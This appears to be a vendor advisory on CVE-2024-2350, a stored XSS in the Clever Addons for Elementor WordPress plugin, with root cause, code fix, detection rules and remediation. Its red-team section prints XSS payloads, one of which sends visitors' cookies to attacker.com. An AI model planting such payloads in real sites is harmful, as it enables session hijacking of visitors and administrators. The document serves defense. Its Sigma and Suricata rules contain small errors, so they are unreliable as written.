CVE-2024-2350

Executive Summary

CVE-2024-2350 is a Stored Cross-Site Scripting (XSS) vulnerability in the Clever Addons for Elementor WordPress plugin, affecting all versions up to and including 2.1.9. The flaw resides in the CAFE Icon, CAFE Team Member, and CAFE Slider widgets, where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page.

This vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authentication and user interaction, but the stored nature of the XSS can lead to persistent compromise of affected sites, including session hijacking, defacement, or redirection to malicious domains.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch from the vendor increases the risk of unpatched installations being targeted. Users should verify the integrity of their plugin files and consider removing the plugin if no update is forthcoming.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires contributor-level access or higher.
• User Interaction (UI): None (N) – No victim interaction needed for injection; execution occurs on page load.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While authentication is required, contributor-level accounts are common in multi-author WordPress sites, and the stored XSS can affect all visitors, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the CAFE Icon, CAFE Team Member, and CAFE Slider widgets provided by the Clever Addons for Elementor plugin. These widgets accept user input (e.g., icon names, team member details, slider content) without proper sanitization or output escaping. When an authenticated user with contributor-level privileges or higher creates or edits a page using these widgets, they can inject malicious JavaScript into the widget fields.

The injected script is stored in the WordPress database and rendered on the frontend without escaping, causing it to execute in the browser of any user visiting the affected page. This is a classic Stored XSS (Persistent XSS) attack.

Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) on user-supplied data before outputting it in the widget templates.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Example from CAFE Icon widget):

// Vulnerable: Direct output without escaping
echo '<div class="cafe-icon">' . $icon_name . '</div>';

Patched Code (Expected fix):

// Patched: Proper escaping
echo '<div class="cafe-icon">' . esc_html( $icon_name ) . '</div>';

The vulnerable code directly echoes user-supplied $icon_name without sanitization. The patched version uses esc_html() to neutralize any HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Clever Addons for Elementor <= 2.1.9 installed and active.
• An account with contributor-level privileges or higher.

Steps:

1. Log in to the WordPress admin panel.
2. Create a new page or edit an existing one using Elementor.
3. Add a CAFE Icon, CAFE Team Member, or CAFE Slider widget to the page.
4. In the widget's input field (e.g., icon name, team member name), inject the following payload:

   <img src=x onerror=alert('XSS')>
   

   Or a more advanced payload for session hijacking:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save and publish the page.
6. Any user visiting the page will trigger the XSS payload.

Note: No public exploit code is available for this CVE.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual widget content in Elementor pages, especially scripts or event handlers.
• Review contributor-level user activity for suspicious page edits.
• Use the detection rules provided below.

Defense:

• Immediately restrict contributor-level accounts if possible.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Consider removing the plugin until a patch is released.
• Apply WordPress hardening: disable file editing, enforce strong passwords, and use security plugins.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (None available; plugin files may vary by version)
• Network Indicators:
  • Outbound connections to known malicious domains (e.g., attacker.com in payloads).
  • HTTP requests containing <script> tags or onerror handlers in widget parameters.
• Log Entries:
  • WordPress debug logs showing unexpected script execution.
  • Web server logs with alert('XSS') or similar patterns in POST data.
• Database Indicators:
  • wp_postmeta or wp_posts containing <script> tags in widget data.

Detection Engineering

YARA Rule

rule CVE_2024_2350_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Clever Addons for Elementor widget data"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-2350"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /onload\s*=\s*['\"][^'\"]*['\"]/i
        $widget = /cafe-icon|cafe-team-member|cafe-slider/i
    condition:
        any of ($xss*) and $widget
}

Sigma Rule

title: Stored XSS via Clever Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Clever Addons for Elementor widget fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'elementor'
        cs-uri-query|contains|windcard: '*cafe*'
        cs-request-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2350 Stored XSS in Clever Addons for Elementor"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor"; http_client_body; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Restrict contributor-level accounts to trusted users only.
3. Apply a virtual patch using a WAF to block XSS payloads in widget fields.

Long-Term Fix:

• Monitor the vendor's website for an official patch. If none is released, consider forking the plugin or switching to an alternative.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Regularly audit WordPress plugins and themes for vulnerabilities.

Workaround:

• Use a security plugin like Wordfence to add input sanitization rules for Elementor widgets.

Valters IT